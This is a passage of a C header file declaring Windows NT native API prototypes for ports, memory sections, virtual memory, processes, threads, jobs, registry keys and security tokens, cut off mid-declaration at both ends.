NTAPI NtRemoveIoCompletion ( IN HANDLE IoCompletionHandle, OUT PVOID *KeyContext, OUT PVOID *ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtCallbackReturn ( IN PVOID OutputBuffer OPTIONAL, IN ULONG OutputLength, IN NTSTATUS Status ); NTSTATUS NTAPI NtQueryDebugFilterState ( IN ULONG ComponentId, IN ULONG Level ); NTSTATUS NTAPI NtSetDebugFilterState ( IN ULONG ComponentId, IN ULONG Level, IN BOOLEAN State ); NTSTATUS NTAPI NtYieldExecution ( VOID ); NTSTATUS NTAPI NtCreatePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, _In_opt_ ULONG MaxPoolUsage ); NTSTATUS NTAPI NtCreateWaitablePort( OUT PHANDLE PortHandle, IN POBJECT_ATTRIBUTES ObjectAttributes, IN ULONG MaxConnectionInfoLength, IN ULONG MaxMessageLength, _In_opt_ ULONG MaxPoolUsage ); NTSTATUS NTAPI NtConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI NtSecureConnectPort( OUT PHANDLE PortHandle, IN PUNICODE_STRING PortName, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos, _Inout_opt_ PPORT_VIEW ClientView, _In_opt_ PSID RequiredServerSid, _Inout_opt_ PREMOTE_PORT_VIEW ServerView, OUT OPTIONAL PULONG MaxMessageLength, _Inout_opt_ PVOID ConnectionInformation, _Inout_opt_ PULONG ConnectionInformationLength ); NTSTATUS NTAPI NtListenPort( IN HANDLE PortHandle, OUT PPORT_MESSAGE ConnectionRequest ); NTSTATUS NTAPI NtAcceptConnectPort( OUT PHANDLE PortHandle, _In_opt_ PVOID PortContext, IN PPORT_MESSAGE ConnectionRequest, IN BOOLEAN AcceptConnection, _Inout_opt_ PPORT_VIEW ServerView, OUT OPTIONAL PREMOTE_PORT_VIEW ClientView ); NTSTATUS NTAPI NtCompleteConnectPort( IN HANDLE PortHandle ); NTSTATUS NTAPI NtRequestPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage ); NTSTATUS NTAPI NtRequestWaitReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE RequestMessage, OUT PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyPort( IN HANDLE PortHandle, IN PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyWaitReplyPort( IN HANDLE PortHandle, _Inout_ PPORT_MESSAGE ReplyMessage ); NTSTATUS NTAPI NtReplyWaitReceivePort( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext , _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage ); NTSTATUS NTAPI NtReplyWaitReceivePortEx( IN HANDLE PortHandle, OUT OPTIONAL PVOID *PortContext, _In_opt_ PPORT_MESSAGE ReplyMessage, OUT PPORT_MESSAGE ReceiveMessage, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtImpersonateClientOfPort( IN HANDLE PortHandle, IN PPORT_MESSAGE Message ); NTSTATUS NTAPI NtReadRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI NtWriteRequestData( IN HANDLE PortHandle, IN PPORT_MESSAGE Message, IN ULONG DataEntryIndex, IN PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI NtQueryInformationPort( IN HANDLE PortHandle, IN PORT_INFORMATION_CLASS PortInformationClass, OUT PVOID PortInformation, IN ULONG Length, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtCreateSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PLARGE_INTEGER MaximumSize, IN ULONG SectionPageProtection, IN ULONG AllocationAttributes, _In_opt_ HANDLE FileHandle ); NTSTATUS NTAPI NtOpenSection ( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtMapViewOfSection ( IN HANDLE SectionHandle, IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, IN SIZE_T CommitSize, _Inout_opt_ PLARGE_INTEGER SectionOffset, _Inout_ PSIZE_T ViewSize, IN SECTION_INHERIT InheritDisposition, IN ULONG AllocationType, IN ULONG Win32Protect ); NTSTATUS NTAPI NtUnmapViewOfSection ( IN HANDLE ProcessHandle, IN PVOID BaseAddress ); NTSTATUS NTAPI NtExtendSection ( IN HANDLE SectionHandle, _Inout_ PLARGE_INTEGER NewSectionSize ); NTSTATUS NTAPI NtAreMappedFilesTheSame ( IN PVOID File1MappedAsAnImage, IN PVOID File2MappedAsFile ); NTSTATUS NTAPI NtAllocateVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, IN ULONG_PTR ZeroBits, _Inout_ PSIZE_T RegionSize, IN ULONG AllocationType, IN ULONG Protect ); NTSTATUS NTAPI NtFreeVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG FreeType ); NTSTATUS NTAPI NtReadVirtualMemory ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, OUT PVOID Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesRead ); NTSTATUS NTAPI NtWriteVirtualMemory ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, IN CONST VOID *Buffer, IN SIZE_T BufferSize, OUT OPTIONAL PSIZE_T NumberOfBytesWritten ); NTSTATUS NTAPI NtFlushVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, OUT PIO_STATUS_BLOCK IoStatus ); NTSTATUS NTAPI NtLockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI NtUnlockVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG MapType ); NTSTATUS NTAPI NtProtectVirtualMemory ( IN HANDLE ProcessHandle, _Inout_ PVOID *BaseAddress, _Inout_ PSIZE_T RegionSize, IN ULONG NewProtect, OUT PULONG OldProtect ); NTSTATUS NTAPI NtQueryVirtualMemory ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN MEMORY_INFORMATION_CLASS MemoryInformationClass, OUT PVOID MemoryInformation, IN SIZE_T MemoryInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI NtQuerySection ( IN HANDLE SectionHandle, IN SECTION_INFORMATION_CLASS SectionInformationClass, OUT PVOID SectionInformation, IN SIZE_T SectionInformationLength, OUT OPTIONAL PSIZE_T ReturnLength ); NTSTATUS NTAPI NtMapUserPhysicalPages ( IN PVOID VirtualAddress, IN ULONG_PTR NumberOfPages, _In_opt_ PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtMapUserPhysicalPagesScatter ( IN PVOID *VirtualAddresses, IN ULONG_PTR NumberOfPages, _In_opt_ PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtAllocateUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, OUT PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtFreeUserPhysicalPages ( IN HANDLE ProcessHandle, _Inout_ PULONG_PTR NumberOfPages, IN PULONG_PTR UserPfnArray ); NTSTATUS NTAPI NtGetWriteWatch ( IN HANDLE ProcessHandle, IN ULONG Flags, IN PVOID BaseAddress, IN SIZE_T RegionSize, OUT PVOID *UserAddressArray, _Inout_ PULONG_PTR EntriesInUserAddressArray, OUT PULONG Granularity ); NTSTATUS NTAPI NtResetWriteWatch ( IN HANDLE ProcessHandle, IN PVOID BaseAddress, IN SIZE_T RegionSize ); NTSTATUS NTAPI NtCreatePagingFile ( IN PUNICODE_STRING PageFileName, IN PLARGE_INTEGER MinimumSize, IN PLARGE_INTEGER MaximumSize, IN ULONG Priority ); NTSTATUS NTAPI NtFlushInstructionCache ( IN HANDLE ProcessHandle, _In_opt_ PVOID BaseAddress, IN SIZE_T Length ); NTSTATUS NTAPI NtFlushWriteBuffer ( VOID ); NTSTATUS NTAPI NtQueryObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, OUT PVOID ObjectInformation, IN ULONG ObjectInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationObject ( IN HANDLE Handle, IN OBJECT_INFORMATION_CLASS ObjectInformationClass, IN PVOID ObjectInformation, IN ULONG ObjectInformationLength ); NTSTATUS NTAPI NtDuplicateObject ( IN HANDLE SourceProcessHandle, IN HANDLE SourceHandle, _In_opt_ HANDLE TargetProcessHandle, OUT PHANDLE TargetHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Options ); NTSTATUS NTAPI NtMakeTemporaryObject ( IN HANDLE Handle ); NTSTATUS NTAPI NtMakePermanentObject ( IN HANDLE Handle ); NTSTATUS NTAPI NtSignalAndWaitForSingleObject ( IN HANDLE SignalHandle, IN HANDLE WaitHandle, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForSingleObject ( IN HANDLE Handle, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForMultipleObjects ( IN ULONG Count, IN HANDLE Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtWaitForMultipleObjects32 ( IN ULONG Count, IN LONG Handles[], IN WAIT_TYPE WaitType, IN BOOLEAN Alertable, _In_opt_ PLARGE_INTEGER Timeout ); NTSTATUS NTAPI NtSetSecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, IN PSECURITY_DESCRIPTOR SecurityDescriptor ); NTSTATUS NTAPI NtQuerySecurityObject ( IN HANDLE Handle, IN SECURITY_INFORMATION SecurityInformation, OUT PSECURITY_DESCRIPTOR SecurityDescriptor, IN ULONG Length, OUT PULONG LengthNeeded ); NTSTATUS NTAPI NtClose ( IN HANDLE Handle ); NTSTATUS NTAPI NtCreateDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenDirectoryObject ( OUT PHANDLE DirectoryHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryDirectoryObject ( IN HANDLE DirectoryHandle, OUT PVOID Buffer, IN ULONG Length, IN BOOLEAN ReturnSingleEntry, IN BOOLEAN RestartScan, _Inout_ PULONG Context, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtCreateSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN PUNICODE_STRING LinkTarget ); NTSTATUS NTAPI NtOpenSymbolicLinkObject ( OUT PHANDLE LinkHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQuerySymbolicLinkObject ( IN HANDLE LinkHandle, _Inout_ PUNICODE_STRING LinkTarget, OUT PULONG ReturnedLength ); NTSTATUS NTAPI NtGetPlugPlayEvent ( IN HANDLE EventHandle, _In_opt_ PVOID Context, OUT PPLUGPLAY_EVENT_BLOCK EventBlock, IN ULONG EventBufferSize ); NTSTATUS NTAPI NtPlugPlayControl( IN PLUGPLAY_CONTROL_CLASS PnPControlClass, _Inout_ PVOID PnPControlData, IN ULONG PnPControlDataLength ); NTSTATUS NTAPI NtPowerInformation( IN POWER_INFORMATION_LEVEL InformationLevel, _In_opt_ PVOID InputBuffer, IN ULONG InputBufferLength, OUT OPTIONAL PVOID OutputBuffer, IN ULONG OutputBufferLength ); NTSTATUS NTAPI NtSetThreadExecutionState( IN EXECUTION_STATE esFlags, // ES_xxx flags OUT EXECUTION_STATE *PreviousFlags ); NTSTATUS NTAPI NtRequestWakeupLatency( IN LATENCY_TIME latency ); // NTSTATUS // NTAPI // NtInitiatePowerAction( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags, // POWER_ACTION_xxx flags // IN BOOLEAN Asynchronous // ); // NTSTATUS // NTAPI // NtSetSystemPowerState( // IN POWER_ACTION SystemAction, // IN SYSTEM_POWER_STATE MinSystemState, // IN ULONG Flags // POWER_ACTION_xxx flags // ); // NTSTATUS // NTAPI // NtGetDevicePowerState( // IN HANDLE Device, // OUT DEVICE_POWER_STATE *State // ); NTSTATUS NTAPI NtCancelDeviceWakeupRequest( IN HANDLE Device ); NTSTATUS NTAPI NtRequestDeviceWakeup( IN HANDLE Device ); NTSTATUS NTAPI NtCreateProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN BOOLEAN InheritObjectTable, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort ); NTSTATUS NTAPI NtCreateProcessEx( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ParentProcess, IN ULONG Flags, _In_opt_ HANDLE SectionHandle, _In_opt_ HANDLE DebugPort, _In_opt_ HANDLE ExceptionPort, IN ULONG JobMemberLevel ); NTSTATUS NTAPI NtOpenProcess ( OUT PHANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateProcess( _In_opt_ HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtTerminateProcess ( _In_opt_ HANDLE ProcessHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtQueryInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, OUT PVOID ProcessInformation, IN ULONG ProcessInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtGetNextProcess ( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewProcessHandle ); NTSTATUS NTAPI NtGetNextThread ( IN HANDLE ProcessHandle, IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, IN ULONG Flags, OUT PHANDLE NewThreadHandle ); NTSTATUS NTAPI NtQueryPortInformationProcess ( VOID ); NTSTATUS NTAPI NtSetInformationProcess ( IN HANDLE ProcessHandle, IN PROCESSINFOCLASS ProcessInformationClass, IN PVOID ProcessInformation, IN ULONG ProcessInformationLength ); NTSTATUS NTAPI NtCreateThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN HANDLE ProcessHandle, OUT PCLIENT_ID ClientId, IN PCONTEXT ThreadContext, IN PINITIAL_TEB InitialTeb, IN BOOLEAN CreateSuspended ); NTSTATUS NTAPI NtCreateThreadEx ( PHANDLE hThread, ACCESS_MASK DesiredAccess, PVOID ObjectAttributes, HANDLE ProcessHandle, PVOID lpStartAddress, PVOID lpParameter, ULONG Flags, SIZE_T StackZeroBits, SIZE_T SizeOfStackCommit, SIZE_T SizeOfStackReserve, PVOID lpBytesBuffer ); NTSTATUS NTAPI NtOpenThread ( OUT PHANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, _In_opt_ PCLIENT_ID ClientId ); NTSTATUS NTAPI NtTerminateThread ( _In_opt_ HANDLE ThreadHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtSuspendThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtSuspendProcess ( HANDLE ProcessHandle ); NTSTATUS NTAPI NtResumeProcess ( IN HANDLE ProcessHandle ); NTSTATUS NTAPI NtGetContextThread ( IN HANDLE ThreadHandle, _Inout_ PCONTEXT ThreadContext ); NTSTATUS NTAPI NtSetContextThread ( IN HANDLE ThreadHandle, IN PCONTEXT ThreadContext ); NTSTATUS NTAPI NtQueryInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, OUT PVOID ThreadInformation, IN ULONG ThreadInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationThread ( IN HANDLE ThreadHandle, IN THREADINFOCLASS ThreadInformationClass, IN PVOID ThreadInformation, IN ULONG ThreadInformationLength ); NTSTATUS NtSetInformationVirtualMemory( IN HANDLE ProcessHandle, IN VIRTUAL_MEMORY_INFORMATION_CLASS VmInformationClass, IN ULONG_PTR NumberOfEntries, IN PMEMORY_RANGE_ENTRY VirtualAddresses, IN PVOID VmInformation, IN ULONG VmInformationLength ); NTSTATUS NTAPI NtAlertThread ( IN HANDLE ThreadHandle ); NTSTATUS NTAPI NtAlertResumeThread ( IN HANDLE ThreadHandle, OUT OPTIONAL PULONG PreviousSuspendCount ); NTSTATUS NTAPI NtImpersonateThread ( IN HANDLE ServerThreadHandle, IN HANDLE ClientThreadHandle, IN PSECURITY_QUALITY_OF_SERVICE SecurityQos ); NTSTATUS NTAPI NtTestAlert ( VOID ); NTSTATUS NTAPI NtRegisterThreadTerminatePort ( IN HANDLE PortHandle ); NTSTATUS NTAPI NtSetLdtEntries ( IN ULONG Selector0, IN ULONG Entry0Low, IN ULONG Entry0Hi, IN ULONG Selector1, IN ULONG Entry1Low, IN ULONG Entry1Hi ); NTSTATUS NTAPI NtQueueApcThread ( IN HANDLE ThreadHandle, IN PPS_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcArgument1, _In_opt_ PVOID ApcArgument2, _In_opt_ PVOID ApcArgument3 ); NTSTATUS NTAPI NtCreateJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtOpenJobObject ( OUT PHANDLE JobHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtAssignProcessToJobObject ( IN HANDLE JobHandle, IN HANDLE ProcessHandle ); NTSTATUS NTAPI NtTerminateJobObject ( IN HANDLE JobHandle, IN NTSTATUS ExitStatus ); NTSTATUS NTAPI NtIsProcessInJob ( IN HANDLE ProcessHandle, _In_opt_ HANDLE JobHandle ); NTSTATUS NTAPI NtCreateJobSet ( IN ULONG NumJob, IN PJOB_SET_ARRAY UserJobSet, IN ULONG Flags ); NTSTATUS NTAPI NtQueryInformationJobObject ( _In_opt_ HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, OUT PVOID JobObjectInformation, IN ULONG JobObjectInformationLength, OUT OPTIONAL PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationJobObject ( IN HANDLE JobHandle, IN JOBOBJECTINFOCLASS JobObjectInformationClass, IN PVOID JobObjectInformation, IN ULONG JobObjectInformationLength ); NTSTATUS NTAPI NtCreateKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, ULONG TitleIndex, _In_opt_ PUNICODE_STRING Class, IN ULONG CreateOptions, OUT OPTIONAL PULONG Disposition ); NTSTATUS NTAPI NtDeleteKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtDeleteValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName ); NTSTATUS NTAPI NtEnumerateKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtEnumerateValueKey( IN HANDLE KeyHandle, IN ULONG Index, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtFlushKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtInitializeRegistry( IN USHORT BootCondition ); NTSTATUS NTAPI NtNotifyChangeKey( IN HANDLE KeyHandle, _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI NtNotifyChangeMultipleKeys( IN HANDLE MasterKeyHandle, _In_opt_ ULONG Count, _In_opt_ OBJECT_ATTRIBUTES SlaveObjects[], _In_opt_ HANDLE Event, _In_opt_ PIO_APC_ROUTINE ApcRoutine, _In_opt_ PVOID ApcContext, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG CompletionFilter, IN BOOLEAN WatchTree, OUT OPTIONAL PVOID Buffer, IN ULONG BufferSize, IN BOOLEAN Asynchronous ); NTSTATUS NTAPI NtLoadKey( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile ); NTSTATUS NTAPI NtLoadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags ); NTSTATUS NTAPI NtLoadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, IN POBJECT_ATTRIBUTES SourceFile, IN ULONG Flags, _In_opt_ HANDLE TrustClassKey ); NTSTATUS NTAPI NtOpenKey( OUT PHANDLE KeyHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes ); NTSTATUS NTAPI NtQueryKey( IN HANDLE KeyHandle, IN KEY_INFORMATION_CLASS KeyInformationClass, OUT OPTIONAL PVOID KeyInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtQueryValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, IN KEY_VALUE_INFORMATION_CLASS KeyValueInformationClass, OUT OPTIONAL PVOID KeyValueInformation, IN ULONG Length, OUT PULONG ResultLength ); NTSTATUS NTAPI NtQueryMultipleValueKey( IN HANDLE KeyHandle, _Inout_ PKEY_VALUE_ENTRY ValueEntries, IN ULONG EntryCount, OUT PVOID ValueBuffer, _Inout_ PULONG BufferLength, OUT OPTIONAL PULONG RequiredBufferLength ); NTSTATUS NTAPI NtReplaceKey( IN POBJECT_ATTRIBUTES NewFile, IN HANDLE TargetHandle, IN POBJECT_ATTRIBUTES OldFile ); NTSTATUS NTAPI NtRenameKey( IN HANDLE KeyHandle, IN PUNICODE_STRING NewName ); NTSTATUS NTAPI NtCompactKeys( IN ULONG Count, IN HANDLE KeyArray[] ); NTSTATUS NTAPI NtCompressKey( IN HANDLE Key ); NTSTATUS NTAPI NtRestoreKey( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Flags ); NTSTATUS NTAPI NtSaveKey( IN HANDLE KeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI NtSaveKeyEx( IN HANDLE KeyHandle, IN HANDLE FileHandle, IN ULONG Format ); NTSTATUS NTAPI NtSaveMergedKeys( IN HANDLE HighPrecedenceKeyHandle, IN HANDLE LowPrecedenceKeyHandle, IN HANDLE FileHandle ); NTSTATUS NTAPI NtSetValueKey( IN HANDLE KeyHandle, IN PUNICODE_STRING ValueName, _In_opt_ ULONG TitleIndex, IN ULONG Type, _In_opt_ PVOID Data, IN ULONG DataSize ); NTSTATUS NTAPI NtUnloadKey( IN POBJECT_ATTRIBUTES TargetKey ); NTSTATUS NTAPI NtUnloadKey2( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG Flags ); NTSTATUS NTAPI NtUnloadKeyEx( IN POBJECT_ATTRIBUTES TargetKey, _In_opt_ HANDLE Event ); NTSTATUS NTAPI NtSetInformationKey( IN HANDLE KeyHandle, IN KEY_SET_INFORMATION_CLASS KeySetInformationClass, IN PVOID KeySetInformation, IN ULONG KeySetInformationLength ); NTSTATUS NTAPI NtQueryOpenSubKeys( IN POBJECT_ATTRIBUTES TargetKey, OUT PULONG HandleCount ); NTSTATUS NTAPI NtQueryOpenSubKeysEx( IN POBJECT_ATTRIBUTES TargetKey, IN ULONG BufferLength, OUT PVOID Buffer, OUT PULONG RequiredSize ); NTSTATUS NTAPI NtLockRegistryKey( IN HANDLE KeyHandle ); NTSTATUS NTAPI NtLockProductActivationKeys( _Inout_opt_ ULONG *pPrivateVer, OUT OPTIONAL ULONG *pSafeMode ); NTSTATUS NTAPI NtAccessCheck ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtAccessCheckByType ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtAccessCheckByTypeResultList ( IN PSECURITY_DESCRIPTOR SecurityDescriptor, _In_opt_ PSID PrincipalSelfSid, IN HANDLE ClientToken, IN ACCESS_MASK DesiredAccess, IN POBJECT_TYPE_LIST ObjectTypeList, IN ULONG ObjectTypeListLength, IN PGENERIC_MAPPING GenericMapping, OUT PPRIVILEGE_SET PrivilegeSet, _Inout_ PULONG PrivilegeSetLength, OUT PACCESS_MASK GrantedAccess, OUT PNTSTATUS AccessStatus ); NTSTATUS NTAPI NtCreateToken( OUT PHANDLE TokenHandle, IN ACCESS_MASK DesiredAccess, _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, IN TOKEN_TYPE TokenType, IN PLUID AuthenticationId, IN PLARGE_INTEGER ExpirationTime, IN PTOKEN_USER User, IN PTOKEN_GROUPS Groups, IN PTOKEN_PRIVILEGES Privileges, _In_opt_ PTOKEN_OWNER Owner, IN PTOKEN_PRIMARY_GROUP PrimaryGroup, _In_opt_ PTOKEN_DEFAULT_DACL DefaultDacl, IN PTOKEN_SOURCE TokenSource ); NTSTATUS NTAPI NtCompareTokens( IN HANDLE FirstTokenHandle, IN HANDLE SecondTokenHandle, OUT PBOOLEAN Equal ); NTSTATUS NTAPI NtOpenThreadToken( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenThreadTokenEx( IN HANDLE ThreadHandle, IN ACCESS_MASK DesiredAccess, IN BOOLEAN OpenAsSelf, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenProcessToken( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtOpenProcessTokenEx( IN HANDLE ProcessHandle, IN ACCESS_MASK DesiredAccess, IN ULONG HandleAttributes, OUT PHANDLE TokenHandle ); NTSTATUS NTAPI NtDuplicateToken( IN HANDLE ExistingTokenHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN BOOLEAN EffectiveOnly, IN TOKEN_TYPE TokenType, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI NtFilterToken ( IN HANDLE ExistingTokenHandle, IN ULONG Flags, _In_opt_ PTOKEN_GROUPS SidsToDisable, _In_opt_ PTOKEN_PRIVILEGES PrivilegesToDelete, _In_opt_ PTOKEN_GROUPS RestrictedSids, OUT PHANDLE NewTokenHandle ); NTSTATUS NTAPI NtImpersonateAnonymousToken( IN HANDLE ThreadHandle ); NTSTATUS NTAPI NtQueryInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, OUT PVOID TokenInformation, IN ULONG TokenInformationLength, OUT PULONG ReturnLength ); NTSTATUS NTAPI NtSetInformationToken ( IN HANDLE TokenHandle, IN TOKEN_INFORMATION_CLASS TokenInformationClass, IN PVOID TokenInformation, IN ULONG 